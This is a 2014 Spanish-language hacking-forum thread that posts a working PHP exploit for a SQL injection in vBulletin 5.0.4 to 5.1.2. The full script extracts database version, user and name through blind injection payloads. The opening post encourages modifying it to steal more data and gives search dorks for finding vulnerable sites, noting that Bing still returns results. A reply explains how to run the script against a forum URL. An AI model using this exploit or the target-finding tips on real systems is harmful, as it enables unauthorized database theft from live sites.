Underc0de - La Casa de los Informáticos

[In]Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: Stiuvert en Julio 26, 2014, 12:52:41 PM

Título: Inyección SQL en foros vBulletin 5.0.4 a 5.1.2 (Exploit + vídeo)
Publicado por: Stiuvert en Julio 26, 2014, 12:52:41 PM
(http://1.bp.blogspot.com/-mOnlRbDtDKQ/U83YMy9bDbI/AAAAAAAACW0/kTyrdPduChM/s1600/vBulletin+SQLi.png) (http://1.bp.blogspot.com/-mOnlRbDtDKQ/U83YMy9bDbI/AAAAAAAACW0/kTyrdPduChM/s1600/vBulletin+SQLi.png"%20imageanchor=1)

Hace unos días se supo de una Inyección SQL en el gestor de foros vBulletin (http://unaaldia.hispasec.com/2014/07/inyeccion-sql-en-el-gestor-de-foros.html), pero como siempre primero me gusta verificar y recién hoy se ha publicado en PacketStorm una versión pública ya que en 1337day Inj3ct0r (http://1337day.com/exploits/22452) ya se encontraba pero para acceder a él hay que pagar...



vBulletin es un software
desarrollado por vBulletin Solutions, para la creación y mantenimiento de foros
en Internet. Está basado en PHP y MySQL y según la propia compañía más de
100.000 sitios funcionan bajo este sistema.


Según confirma vBulletin, el
problema afecta a las versiones 5.0.4, 5.0.5, 5.1.0, 5.1.1 y 5.1.2. El grupo
Romanian Security Team (RST) ha publicado un vídeo en el que se muestra la
vulnerabilidad y confirma el reporte a vBulletin, que ofrecerán todos los
detalles tras la publicación del parche.



La vulnerabilidad permite a un usuario malicioso realizar ataques de inyección
SQL
sobre la base de datos, con todas las implicaciones que ello puedo
llevar. Es decir, extraer toda la
información y contenido de la base de datos
, e incluso a partir de ahí
comprometer todo el sistema.



El exploit que se ha publicado nos permite obtener la versión, nombre y usuario de la base de datos, para obtener datos más jugosos debéis modificar el exploit:


(http://4.bp.blogspot.com/-t0BPxkA5h-c/U83Yb0TeTaI/AAAAAAAACW8/h4ZUhYkfWjQ/s1600/sqli+vBulletin.bmp) (http://4.bp.blogspot.com/-t0BPxkA5h-c/U83Yb0TeTaI/AAAAAAAACW8/h4ZUhYkfWjQ/s1600/sqli+vBulletin.bmp"%20imageanchor=1)


<?php
 
/*
    Author: Nytro
    Powered by: Romanian Security Team
    Price: Free. Educational.
*/
 
 
error_reporting(E_ALL);
ini_set('display_errors'1);
 
 
// Get arguments
 
 
$target_url = isset($argv[1]) ? $argv[1] : 'https://rstforums.com/v5';
$expression str_replace('/''\\/'$target_url);
 
 
// Function to send a POST request
 
 
function httpPost($url,$params)
{
    
$ch curl_init($url);
 
 
    
curl_setopt($chCURLOPT_URL,$url);
    
curl_setopt($chCURLOPT_RETURNTRANSFER,true);
    
curl_setopt($chCURLOPT_HEADERfalse);
    
curl_setopt($chCURLOPT_SSL_VERIFYPEERfalse);
    
curl_setopt($chCURLOPT_POST1);
    
curl_setopt($chCURLOPT_POSTFIELDS$params);
     
    
curl_setopt($chCURLOPT_HTTPHEADER, array(
        
'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
        
'Accept: application/json, text/javascript, */*; q=0.01',
        
'X-Requested-With: XMLHttpRequest',
        
'Referer: https://rstforums.com/v5/memberlist',
        
'Accept-Language: en-US,en;q=0.5',
        
'Cookie: bb_lastvisit=1400483408; bb_lastactivity=0;'
     
));
 
 
    
$output curl_exec($ch);
     
    if(
$output == FALSE) print htmlspecialchars(curl_error($ch));
 
 
    
curl_close($ch);
    return 
$output;
}
 
 
// Function to get string between two other strings
 
 
function get_string_between($string$start$end)
{
    
$string " ".$string;
    
$ini strpos($string,$start);
    if (
$ini == 0) return "";
    
$ini += strlen($start);
    
$len strpos($string,$end,$ini) - $ini;
    return 
substr($string,$ini,$len);
}
 
 
// Get version
 
 
print "\r\nRomanian Security Team - vBulltin 5.1.2 SQL Injection\r\n\r\n";
print 
"Version: ";
 
 
$result httpPost($target_url '/ajax/render/memberlist_items',
        
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(version(),1  ,1)--+"+' .
        
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
 
 
$letter 1;
 
 
while(
strpos($result'No Users Matched Your Query') == false)
{
    
$exploded explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' $expression '\/member\/'$result);
 
 
    
$username get_string_between($exploded[1], '">''<\/a>');
    print 
$username[0];
     
    
$letter++;
    
$result httpPost($target_url '/ajax/render/memberlist_items',
            
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(version(  ),' $letter ',1)--+"+' .
            
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
 
 
// Get user
 
 
print "\r\nUser: ";
 
 
$result httpPost($target_url '/ajax/render/memberlist_items',
        
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(user(),1  ,1)--+"+' .
        
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
 
 
$letter 1;
 
 
while(
strpos($result'No Users Matched Your Query') == false)
{
    
$exploded explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' $expression '\/member\/'$result);
 
 
    
$username get_string_between($exploded[1], '">''<\/a>');
    print 
$username[0];
 
 
    
$letter++;
    
$result httpPost($target_url '/ajax/render/memberlist_items',
            
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(user(),' $letter ',1)--+"+' .
            
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
 
 
// Get database
 
 
print "\r\nDatabse: ";
 
 
$result httpPost($target_url '/ajax/render/memberlist_items',
        
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(database(),  1,1)--+"+' .
        
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
 
 
$letter 1;
 
 
while(
strpos($result'No Users Matched Your Query') == false)
{
    
$exploded explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' $expression '\/member\/'$result);
 
 
    
$username get_string_between($exploded[1], '">''<\/a>');
    print 
$username[0];
 
 
    
$letter++;
    
$result httpPost($target_url '/ajax/render/memberlist_items',
            
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(database(),  ' $letter ',1)--+"+' .
            
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
 
 
print 
"\r\n"
 
 
?>




Descargar Exploit vBulletin (http://packetstormsecurity.com/files/download/127537/vbulletin512-sql.txt)

Google ya ha bloqueado una posible busqueda del dork necesario para buscar sitios afectados, por ejemplo:

"Powered by vBulletin® Version 5.1.2"
"Powered by vBulletin® Version 5.0.4"
"Powered by vBulletin® Version 5.0.5"
"Powered by vBulletin® Version 5.1.0"
"Powered by vBulletin® Version 5.1.1"

Pero si buscan con Bing (http://www.bing.com/search?q=%22Powered+by+vBulletin%C2%AE+Version+5.1.2%22&go=&qs=ds&form=QBLH&filt=all) encontrarán resultados.

Fuentes:
http://unaaldia.hispasec.com/2014/07/inyeccion-sql-en-el-gestor-de-foros.html
http://packetstormsecurity.com/files/127537/vBulletin-5.1.2-SQL-Injection.html
http://1337day.com/exploits/22452
http://www.blackploit.com



Fuente Original: Blackploit
Título: Re:Inyección SQL en foros vBulletin 5.0.4 a 5.1.2 (Exploit + vídeo)
Publicado por: Snifer en Julio 26, 2014, 01:32:52 PM
Esto lo vi temprano y en un PoC local funciono perfecto!!.

Y la fuente? creo que esto anda en Blackploit?

PD: Solo digo aparte de traductor ahora mal posteador U_u vamos de mal en peor, ahi te corregi ;)

Regards,
Snifer
Título: Re:Inyección SQL en foros vBulletin 5.0.4 a 5.1.2 (Exploit + vídeo)
Publicado por: Stiuvert en Julio 26, 2014, 02:07:38 PM
Estaba la fuente mi compañero Snifer! xD

Título: Re:Inyección SQL en foros vBulletin 5.0.4 a 5.1.2 (Exploit + vídeo)
Publicado por: Snifer en Julio 26, 2014, 02:21:44 PM
Nup, porque al final decia fuentes tal cual el post original, debes de poner lo que corresponde al cesar lo que es del cesar ;)

Regards,
Snifer
Título: Re:Inyección SQL en foros vBulletin 5.0.4 a 5.1.2 (Exploit + vídeo)
Publicado por: josemi en Julio 26, 2014, 07:18:52 PM
hermanoo.. tengo añooos sin compilar o interpretar un exploit. para usar este  necesito bajarme bamcompiler ? ya que desde cmd no reconoce el comando "php" o que tengo que hacer ?
Título: Re:Inyección SQL en foros vBulletin 5.0.4 a 5.1.2 (Exploit + vídeo)
Publicado por: fermino en Julio 26, 2014, 07:48:12 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
hermanoo.. tengo añooos sin compilar o interpretar un exploit. para usar este  necesito bajarme bamcompiler ? ya que desde cmd no reconoce el comando "php" o que tengo que hacer ?
Nope, descarga la última versión de PHP, y luego ejecuta el script así:
C:\PATH_A_PHP\php.exe nombre_del_script.php url_del_foro